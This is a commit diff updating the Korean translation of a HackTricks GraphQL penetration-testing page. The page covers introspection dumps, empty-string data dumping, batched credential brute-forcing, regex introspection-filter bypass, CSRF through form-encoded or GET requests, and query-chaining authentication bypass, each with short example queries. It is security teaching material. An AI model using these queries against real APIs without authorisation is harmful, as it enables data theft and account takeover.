mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['network-services-pentesting/pentesting-web/graphql.md', 'ne
This commit is contained in:
parent
7c52c66c87
commit
2290396dce
4 changed files with 222 additions and 207 deletions
|
@ -2,25 +2,25 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소를 참조하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 소개
|
||||
|
||||
GraphQL은 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공하여 REST API에 대안으로 **강조**됩니다. REST가 데이터를 수집하기 위해 다양한 엔드포인트에 걸쳐 여러 요청을 필요로 하는 반면, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 단순화는 데이터 가져오기 프로세스의 복잡성을 줄여 개발자들에게 큰 **이점**을 제공합니다.
|
||||
GraphQL은 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공하여 REST API에 대한 **효율적인 대안**으로 **강조**됩니다. REST가 데이터를 수집하기 위해 다양한 엔드포인트에 걸쳐 여러 요청을 필요로 하는 반면, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 단순화는 데이터 가져오기 프로세스의 복잡성을 줄여 개발자들에게 큰 **이점**을 제공합니다.
|
||||
|
||||
## GraphQL과 보안
|
||||
|
||||
GraphQL을 포함한 새로운 기술이 등장함에 따라 새로운 보안 취약점도 발생합니다. **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않는다**는 점을 주목해야 합니다. 적절한 인증이 없으면 GraphQL 엔드포인트가 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 중대한 보안 위험을 초래할 수 있습니다.
|
||||
GraphQL을 포함한 새로운 기술의 등장으로 새로운 보안 취약점도 발생합니다. **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않는다**는 점을 주목해야 합니다. 적절한 인증이 없으면 GraphQL 엔드포인트가 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 중대한 보안 위험을 초래할 수 있습니다.
|
||||
|
||||
### 디렉터리 브루트 포스 공격과 GraphQL
|
||||
|
||||
|
@ -35,7 +35,7 @@ GraphQL을 포함한 새로운 기술이 등장함에 따라 새로운 보안
|
|||
- `/graphql/api`
|
||||
- `/graphql/graphql`
|
||||
|
||||
개방된 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근 가능한 데이터를 이해하는 데 중요합니다. GraphQL의 내부 조사 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 정보는 GraphQL 내부 조사에 대한 문서를 참조하세요: [**GraphQL: API를 위한 쿼리 언어.**](https://graphql.org/learn/introspection/)
|
||||
공개된 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근 가능한 데이터를 이해하는 데 중요합니다. GraphQL의 내부 조사 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 정보는 GraphQL 내부 조사에 대한 문서를 참조하세요: [**GraphQL: API를 위한 쿼리 언어**](https://graphql.org/learn/introspection/)
|
||||
|
||||
### 지문
|
||||
|
||||
|
@ -43,13 +43,13 @@ GraphQL을 포함한 새로운 기술이 등장함에 따라 새로운 보안
|
|||
|
||||
#### Universal queries <a href="#universal-queries" id="universal-queries"></a>
|
||||
|
||||
URL이 GraphQL 서비스인지 확인하려면 **universal query**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되면 URL이 GraphQL 엔드포인트를 호스팅한다는 것을 확인합니다. 이 방법은 GraphQL의 `__typename` 필드에 의존하며, 쿼리된 객체의 유형을 나타냅니다.
|
||||
URL이 GraphQL 서비스인지 확인하려면 **universal query**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되어 있다면 URL이 GraphQL 엔드포인트를 호스팅한다는 것을 확인합니다. 이 방법은 GraphQL의 `__typename` 필드에 의존하며, 쿼리된 객체의 유형을 나타냅니다.
|
||||
```javascript
|
||||
query{__typename}
|
||||
```
|
||||
### 기본 열거
|
||||
|
||||
Graphql은 일반적으로 **GET**, **POST** (x-www-form-urlencoded) 및 **POST**(json)을 지원합니다. 보안을 위해 CSRF 공격을 방지하려면 json만 허용하는 것이 좋습니다.
|
||||
Graphql은 일반적으로 **GET**, **POST** (x-www-form-urlencoded) 및 **POST**(json)을 지원합니다. 보안을 위해 CSRF 공격을 방지하기 위해 json만 허용하는 것이 권장됩니다.
|
||||
|
||||
#### 인트로스펙션
|
||||
|
||||
|
@ -179,7 +179,7 @@ name
|
|||
```
|
||||
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
||||
```
|
||||
마지막 코드 라인은 graphql 쿼리이며 graphql에서 모든 메타 정보를 덤프하는 쿼리입니다 (객체 이름, 매개변수, 유형 등).
|
||||
마지막 코드 라인은 graphql에서 모든 메타 정보를 덤프 할 graphql 쿼리입니다 (객체 이름, 매개 변수, 유형 등).
|
||||
|
||||
![](<../../.gitbook/assets/image (363).png>)
|
||||
|
||||
|
@ -189,19 +189,19 @@ name
|
|||
|
||||
이제 데이터베이스 내에 저장된 정보의 종류를 알았으니 **일부 값을 추출**해 보겠습니다.
|
||||
|
||||
인트로스펙션에서 **직접 쿼리할 수 있는 객체를 찾을 수 있습니다** (존재하는 객체를 쿼리할 수 없기 때문에). 다음 이미지에서 "_queryType_"이 "_Query_"로 호출되고 "_Query_" 객체의 하나의 필드가 "_flags_"인 것을 볼 수 있습니다. 이 "_flags_" 객체를 쿼리할 수 있습니다.
|
||||
인트로스펙션에서 **직접 쿼리 할 수있는 객체를 찾을 수 있습니다** (존재하는 객체를 쿼리 할 수 없기 때문에). 다음 이미지에서 "_queryType_"이 "_Query_"로 호출되고 "_Query_" 객체의 하나의 필드가 "_flags_"인 것을 볼 수 있습니다. 이는 또한 객체 유형입니다. 따라서 flag 객체를 쿼리 할 수 있습니다.
|
||||
|
||||
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>)
|
||||
|
||||
쿼리의 유형 "_flags_"는 "_Flags_"이며, 이 객체는 다음과 같이 정의됩니다:
|
||||
쿼리 "_flags_"의 유형이 "_Flags_"임을 유의하십시오. 이 객체는 다음과 같이 정의됩니다:
|
||||
|
||||
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57 (1).png>)
|
||||
|
||||
"_Flags_" 객체는 **이름**과 **값**으로 구성되어 있음을 알 수 있습니다. 따라서 다음 쿼리로 모든 플래그의 이름과 값을 가져올 수 있습니다:
|
||||
"_Flags_" 객체는 **name** 및 **value**로 구성되어 있음을 볼 수 있습니다. 그런 다음 쿼리로 모든 플래그의 이름과 값을 가져올 수 있습니다:
|
||||
```javascript
|
||||
query={flags{name, value}}
|
||||
```
|
||||
참고로 **쿼리할 대상 객체**가 다음 예제와 같이 **문자열**과 같은 **기본 타입**인 경우
|
||||
참고로 **쿼리할 대상 객체**가 다음 예시와 같이 **문자열**과 같은 **기본 타입**인 경우
|
||||
|
||||
![](<../../.gitbook/assets/image (958).png>)
|
||||
|
||||
|
@ -218,8 +218,8 @@ query={hiddenFlags}
|
|||
|
||||
![](<../../.gitbook/assets/image (1042).png>)
|
||||
|
||||
어떻게 보면 "_**uid**_" 인수인 _**Int**_ 유형을 사용하여 검색할 것 같습니다.\
|
||||
어쨌든, 이미 [기본 열거](graphql.md#basic-enumeration) 섹션에서 필요한 모든 정보를 보여주는 쿼리가 제안되었음을 알고 있었습니다: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
어떻게 보면 "_**uid**_" 인수인 _**Int**_ 유형을 사용하여 검색할 것으로 보입니다.\
|
||||
어쨌든, 이미 [기본 열거](graphql.md#basic-enumeration) 섹션에서 필요한 모든 정보를 보여주는 쿼리가 제안되었음을 알고 있습니다: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
|
||||
그 쿼리를 실행할 때 제공된 이미지를 읽으면 "_**user**_"가 _Int_ 유형의 "_**uid**_" 인수를 가지고 있음을 알 수 있습니다.
|
||||
|
||||
|
@ -228,7 +228,7 @@ query={hiddenFlags}
|
|||
|
||||
![](<../../.gitbook/assets/image (90).png>)
|
||||
|
||||
"**user**"와 "**password**" 매개변수를 요청할 수 있다는 것을 **발견**했음에 유의하십시오. 만약 존재하지 않는 것을 찾으려고 하면 (`query={user(uid:1){noExists}}`), 다음과 같은 오류가 발생합니다:
|
||||
"_**user**_"와 "_**password**_" 매개변수를 요청할 수 있다는 것을 **발견**했음에 유의하십시오. 만약 존재하지 않는 것을 찾으려고 하면 (`query={user(uid:1){noExists}}`), 다음과 같은 오류가 발생합니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (707).png>)
|
||||
|
||||
|
@ -236,13 +236,13 @@ query={hiddenFlags}
|
|||
|
||||
**쿼리 문자열 덤프 트릭 (감사 @BinaryShadow\_)**
|
||||
|
||||
`query={theusers(description: ""){username,password}}`와 같이 문자열 유형으로 검색할 수 있다면, **빈 문자열로 검색**하면 **모든 데이터가 덤프**됩니다. (_이 예는 튜토리얼 예제와 관련이 없으며, 이 예에서는 "**theusers**"를 사용하여 "**description**"이라는 문자열 필드로 검색할 수 있다고 가정합니다"_).
|
||||
`query={theusers(description: ""){username,password}}`와 같이 문자열 유형으로 검색할 수 있다면, **빈 문자열로 검색**하면 모든 데이터가 덤프됩니다. (_이 예는 튜토리얼 예제와 관련이 없으며, 이 예에서는 "**theusers**"를 사용하여 "**description**"이라는 문자열 필드로 검색할 수 있다고 가정합니다"_).
|
||||
|
||||
### 검색
|
||||
|
||||
이 설정에서 **데이터베이스**에는 **사람**과 **영화**가 포함되어 있습니다. **사람**은 **이메일**과 **이름**으로 식별되며, **영화**는 **이름**과 **평점**으로 식별됩니다. **사람**은 서로 친구가 될 수 있고 또한 영화를 소유할 수 있어 데이터베이스 내에서 관계를 나타냅니다.
|
||||
이 설정에서 **데이터베이스**에는 **사람**과 **영화**가 포함되어 있습니다. **사람**은 **이메일**과 **이름**으로 식별되며, **영화**는 **이름**과 **평점**으로 식별됩니다. **사람**은 서로 친구가 될 수 있으며 데이터베이스 내에서 관계를 나타내는 영화를 가질 수 있습니다.
|
||||
|
||||
사람을 **이름으로 검색**하여 이메일을 얻을 수 있습니다:
|
||||
사람을 **이름으로** 검색하여 이메일을 얻을 수 있습니다:
|
||||
```javascript
|
||||
{
|
||||
searchPerson(name: "John Doe") {
|
||||
|
@ -265,7 +265,7 @@ name
|
|||
}
|
||||
}
|
||||
```
|
||||
참고로 해당하는 사람의 `subscribedMovies`의 `name`을 검색하는 방법이 나와 있습니다.
|
||||
다음은 해당 사람의 `subscribedMovies`의 `name`을 검색하는 방법이 표시되어 있습니다.
|
||||
|
||||
또한 **동시에 여러 객체를 검색**할 수도 있습니다. 이 경우, 2개의 영화를 검색합니다:
|
||||
```javascript
|
||||
|
@ -302,13 +302,13 @@ name
|
|||
|
||||
**변이는 서버 측에서 변경 사항을 만드는 데 사용됩니다.**
|
||||
|
||||
**내부 조사**에서 **선언된 변이**를 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"으로 호출되며 "_Mutation_" 객체에는 변이의 이름(이 경우 "_addPerson_")이 포함되어 있습니다:
|
||||
**내방**에서 **선언된 변이**를 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"으로 불리며 "_Mutation_" 객체에는 변이의 이름들이 포함되어 있습니다 (이 경우 "_addPerson_"과 같은):
|
||||
|
||||
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27 (1).png>)
|
||||
|
||||
이 설정에서 **데이터베이스**에는 **사람**과 **영화**가 포함되어 있습니다. **사람**은 **이메일**과 **이름**으로 식별되며 **영화**는 **이름**과 **평점**으로 식별됩니다. **사람**은 서로 친구가 될 수 있으며 데이터베이스 내에서 관계를 나타내는 영화도 가질 수 있습니다.
|
||||
|
||||
데이터베이스 내에서 **새로운 영화를 만드는** 변이는 다음과 같이 할 수 있습니다 (이 예에서 변이는 `addMovie`로 호출됨):
|
||||
데이터베이스 내에 **새로운** 영화를 만드는 변이는 다음과 같을 수 있습니다 (이 예에서 변이는 `addMovie`로 불립니다):
|
||||
```javascript
|
||||
mutation {
|
||||
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
|
||||
|
@ -319,9 +319,9 @@ rating
|
|||
}
|
||||
}
|
||||
```
|
||||
**쿼리에서 데이터의 값과 유형이 모두 표시된 방법에 주목하십시오.**
|
||||
**쿼리에서 데이터의 값과 유형이 모두 표시되는 방법에 주목하십시오.**
|
||||
|
||||
또한 데이터베이스는 `addPerson`이라는 **변이** 작업을 지원하며, 이를 통해 **친구** 및 **영화**에 대한 연결과 함께 **사람**을 생성할 수 있습니다. 새로 생성된 사람에 연결하기 전에 친구 및 영화가 데이터베이스에 미리 존재해야 한다는 점이 중요합니다.
|
||||
또한 데이터베이스는 `addPerson`이라는 **변이** 작업을 지원하며, 이를 통해 **사람들**과 그들의 기존 **친구** 및 **영화**와의 연관성을 만들 수 있습니다. 새로 생성된 사람과 연결하기 전에 친구 및 영화가 데이터베이스에 미리 존재해야 한다는 점이 중요합니다.
|
||||
```javascript
|
||||
mutation {
|
||||
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
||||
|
@ -349,20 +349,20 @@ releaseYear
|
|||
}
|
||||
}
|
||||
```
|
||||
### 지시문 오버로딩
|
||||
### 지시어 과부하
|
||||
|
||||
[**이 보고서에 설명된 취약점 중 하나**](https://www.landh.tech/blog/20240304-google-hack-50000/)에 설명된 대로, 지시문 오버로딩은 서버가 작업을 낭비하도록 만들기 위해 지시문을 수백만 번 호출하는 것을 의미합니다.
|
||||
[**이 보고서에 설명된 취약점 중 하나**](https://www.landh.tech/blog/20240304-google-hack-50000/)에 설명된 대로, 지시어 과부하는 서버가 작업을 낭비하도록 만들기 위해 수백만 번의 지시어를 호출하는 것을 의미합니다.
|
||||
|
||||
### 1개의 API 요청에서 브루트 포스 일괄 처리
|
||||
|
||||
이 정보는 [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)에서 얻었습니다.\
|
||||
이 정보는 [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)에서 가져왔습니다.\
|
||||
**다른 자격 증명으로 많은 쿼리를 동시에 보내 인증**하는 것입니다. 이것은 클래식한 브루트 포스 공격이지만 이제 GraphQL 일괄 처리 기능 덕분에 HTTP 요청 당 하나 이상의 로그인/비밀번호 쌍을 보낼 수 있습니다. 이 방법은 외부 속도 모니터링 애플리케이션이 모든 것이 잘되고 암호를 추측하려는 봇이 없다고 생각하게 할 것입니다.
|
||||
|
||||
아래에서 **한 번에 3개의 다른 이메일/비밀번호 쌍**을 사용하여 응용 프로그램 인증 요청의 가장 간단한 데모를 찾을 수 있습니다. 당연히 동일한 방법으로 한 번에 수천 개를 보낼 수 있습니다:
|
||||
아래에서는 **한 번에 3개의 다른 이메일/비밀번호 쌍**을 사용하여 응용 프로그램 인증 요청의 가장 간단한 데모를 찾을 수 있습니다. 당연히 동일한 방법으로 한 번에 수천 개를 보낼 수 있습니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (1081).png>)
|
||||
|
||||
응답 스크린샷에서 볼 수 있듯이, 첫 번째와 세 번째 요청은 _null_을 반환하고 해당 정보를 _error_ 섹션에 반영했습니다. **두 번째 변이는 올바른 인증** 데이터를 가지고 있으며 응답에는 올바른 인증 세션 토큰이 포함되어 있습니다.
|
||||
응답 스크린샷에서 볼 수 있듯이, 첫 번째와 세 번째 요청은 _null_을 반환하고 _error_ 섹션에 해당 정보를 반영했습니다. **두 번째 변이는 올바른 인증** 데이터를 가지고 있으며 응답에는 올바른 인증 세션 토큰이 포함되어 있습니다.
|
||||
|
||||
![](<../../.gitbook/assets/image (119) (1).png>)
|
||||
|
||||
|
@ -370,13 +370,13 @@ releaseYear
|
|||
|
||||
더 이상 **graphql 엔드포인트가 인트로스펙션을 비활성화**하고 있습니다. 그러나 graphql이 예상치 못한 요청을 받았을 때 던지는 오류는 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance)와 같은 도구가 대부분의 스키마를 재구성하는 데 충분합니다.
|
||||
|
||||
또한, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 전달되는 GraphQL API 요청을 관찰**하고 각 새로운 쿼리마다 내부 GraphQL **스키마를 작성**합니다. 또한 GraphiQL 및 Voyager를 위해 스키마를 노출시킬 수도 있습니다. 이 확장 프로그램은 인트로스펙션 쿼리를 받으면 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 자세한 정보는 [**여기를 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
또한, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 전달되는 GraphQL API 요청을 관찰**하고 각 새로운 쿼리마다 내부 GraphQL **스키마를 작성**합니다. 또한 GraphiQL 및 Voyager를 위해 스키마를 노출시킬 수 있습니다. 이 확장 프로그램은 인트로스펙션 쿼리를 받으면 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 자세한 정보는 [**여기를 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
|
||||
[**여기에서 GraphQL 엔티티를 발견하는 데 유용한 단어 목록**](https://github.com/Escape-Technologies/graphql-wordlist?)을 찾을 수 있습니다.
|
||||
[**여기에서 GraphQL 엔티티를 발견하는 데 사용할 수 있는 좋은 단어 목록**](https://github.com/Escape-Technologies/graphql-wordlist?)을 찾을 수 있습니다.
|
||||
|
||||
### GraphQL 인트로스펙션 방어 우회 <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||
|
||||
API에서 인트로스펙션 쿼리에 대한 제한을 우회하려면 `__schema` 키워드 뒤에 **특수 문자를 삽입**하는 것이 효과적입니다. 이 방법은 `__schema` 키워드에 초점을 맞춘 인트로스펙션을 차단하려는 정규식 패턴에서 일반적인 개발자 실수를 이용합니다. GraphQL이 무시하지만 정규식에서 고려되지 않을 수 있는 문자(예: 공백, 새 줄 및 쉼표)를 추가함으로써 제한을 우회할 수 있습니다. 예를 들어, `__schema` 뒤에 새 줄이 있는 인트로스펙션 쿼리는 이러한 방어를 우회할 수 있습니다:
|
||||
API에서 인트로스펙션 쿼리에 대한 제한을 우회하려면 `__schema` 키워드 뒤에 **특수 문자를 삽입**하는 것이 효과적입니다. 이 방법은 `__schema` 키워드에 집중하여 인트로스펙션을 차단하려는 정규식 패턴에서 일반적인 개발자 실수를 악용합니다. GraphQL이 무시하지만 정규식에서 고려되지 않을 수 있는 문자(예: 공백, 새 줄 및 쉼표)를 추가함으로써 제한을 우회할 수 있습니다. 예를 들어, `__schema` 뒤에 새 줄이 있는 인트로스펙션 쿼리는 이러한 방어를 우회할 수 있습니다:
|
||||
```bash
|
||||
# Example with newline to bypass
|
||||
{
|
||||
|
@ -384,11 +384,11 @@ API에서 인트로스펙션 쿼리에 대한 제한을 우회하려면 `__schem
|
|||
{queryType{name}}}"
|
||||
}
|
||||
```
|
||||
만약 실패한다면, **GET 요청**이나 **`x-www-form-urlencoded`를 사용한 POST**와 같은 대체 요청 방법을 고려하십시오. 제한 사항이 POST 요청에만 적용될 수 있기 때문입니다.
|
||||
만약 실패한다면 **GET 요청**이나 **`x-www-form-urlencoded`를 사용한 POST**와 같은 대체 요청 방법을 고려하십시오. 제한 사항이 POST 요청에만 적용될 수 있기 때문입니다.
|
||||
|
||||
### **노출된 GraphQL 구조 발견하기**
|
||||
|
||||
Introspection이 비활성화된 경우, JavaScript 라이브러리에서 사전로드된 쿼리를 웹 사이트의 소스 코드로 조사하는 것은 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러낼 수 있습니다. 개발자 도구 내에서 검색하는 명령어는 다음과 같습니다:
|
||||
Introspection이 비활성화된 경우, JavaScript 라이브러리에서 사전로드된 쿼리를 웹 사이트의 소스 코드로 조사하는 것이 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러낼 수 있습니다. 개발자 도구 내에서 검색하는 명령어는 다음과 같습니다:
|
||||
```javascript
|
||||
Inspect/Sources/"Search all files"
|
||||
file:* mutation
|
||||
|
@ -396,15 +396,15 @@ file:* query
|
|||
```
|
||||
## GraphQL에서의 CSRF
|
||||
|
||||
만약 CSRF가 무엇인지 모르겠다면 다음 페이지를 읽어보세요:
|
||||
만약 CSRF가 무엇인지 모른다면 다음 페이지를 읽어보세요:
|
||||
|
||||
{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %}
|
||||
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
여기서 여러 개의 GraphQL 엔드포인트를 발견할 수 있습니다. **CSRF 토큰 없이 구성된** 것들이 있습니다.
|
||||
여기서 여러분은 **CSRF 토큰 없이 구성된** 몇 개의 GraphQL 엔드포인트를 찾을 수 있을 것입니다.
|
||||
|
||||
GraphQL 요청은 일반적으로 Content-Type을 사용하여 POST 요청으로 전송됩니다. **`application/json`**.
|
||||
GraphQL 요청은 일반적으로 Content-Type을 **`application/json`**으로 사용하여 POST 요청을 통해 전송됩니다.
|
||||
```javascript
|
||||
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
||||
```
|
||||
|
@ -412,13 +412,13 @@ GraphQL 요청은 일반적으로 Content-Type을 사용하여 POST 요청으로
|
|||
```javascript
|
||||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
```
|
||||
따라서 이전과 같은 CSRF 요청은 **사전 요청(preflight requests) 없이** 전송되므로 CSRF를 악용하여 GraphQL에서 **변경**을 수행할 수 있습니다.
|
||||
따라서, 이전과 같은 CSRF 요청은 **사전 요청(preflight requests) 없이** 전송되므로, CSRF를 남용하여 GraphQL에서 **변경**을 수행할 수 있습니다.
|
||||
|
||||
그러나 Chrome의 `samesite` 플래그의 새로운 기본 쿠키 값은 `Lax`입니다. 이는 쿠키가 제3자 웹에서 GET 요청으로만 전송될 것을 의미합니다.
|
||||
그러나, Chrome의 `samesite` 플래그의 새로운 기본 쿠키 값은 `Lax`입니다. 이는 쿠키가 제3자 웹에서만 GET 요청으로 전송될 것을 의미합니다.
|
||||
|
||||
또한 **쿼리 요청**을 GET 요청으로도 보낼 수 있으며 CSRF 토큰이 GET 요청에서 유효성을 검사받지 않을 수 있음을 유의하십시오.
|
||||
또한, **쿼리 요청**을 GET 요청으로도 보낼 수 있으며, GET 요청에서 CSRF 토큰이 유효성 검사되지 않을 수 있음을 유의하십시오.
|
||||
|
||||
또한 [**XS-Search**](../../pentesting-web/xs-search/) **공격**을 악용하면 사용자의 자격 증명을 악용하여 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다.
|
||||
또한, [**XS-Search**](../../pentesting-web/xs-search/) **공격**을 남용하여 사용자의 자격 증명을 악용하여 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다.
|
||||
|
||||
자세한 정보는 [**여기의 원본 게시물**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)을 확인하십시오.
|
||||
|
||||
|
@ -440,7 +440,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
|||
|
||||
[쿼리를 연결](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)하여 약한 인증 시스템을 우회할 수 있습니다.
|
||||
|
||||
아래 예시에서 작업이 "forgotPassword"임을 볼 수 있으며 해당 작업에 연결된 forgotPassword 쿼리만 실행되어야 합니다. 이를 우회하기 위해 끝에 쿼리를 추가할 수 있습니다. 이 경우 "register"를 추가하고 시스템이 새 사용자로 등록되도록 사용자 변수를 추가합니다.
|
||||
아래 예시에서 작업이 "forgotPassword"임을 볼 수 있으며 해당 작업에 연결된 forgotPassword 쿼리만 실행해야 합니다. 이를 우회하기 위해 끝에 쿼리를 추가할 수 있습니다. 이 경우 "register"를 추가하고 시스템이 새 사용자로 등록되도록 사용자 변수를 추가합니다.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -450,9 +450,9 @@ GraphQL에서 별칭은 API 요청 시 **속성을 명시적으로 명명**할
|
|||
|
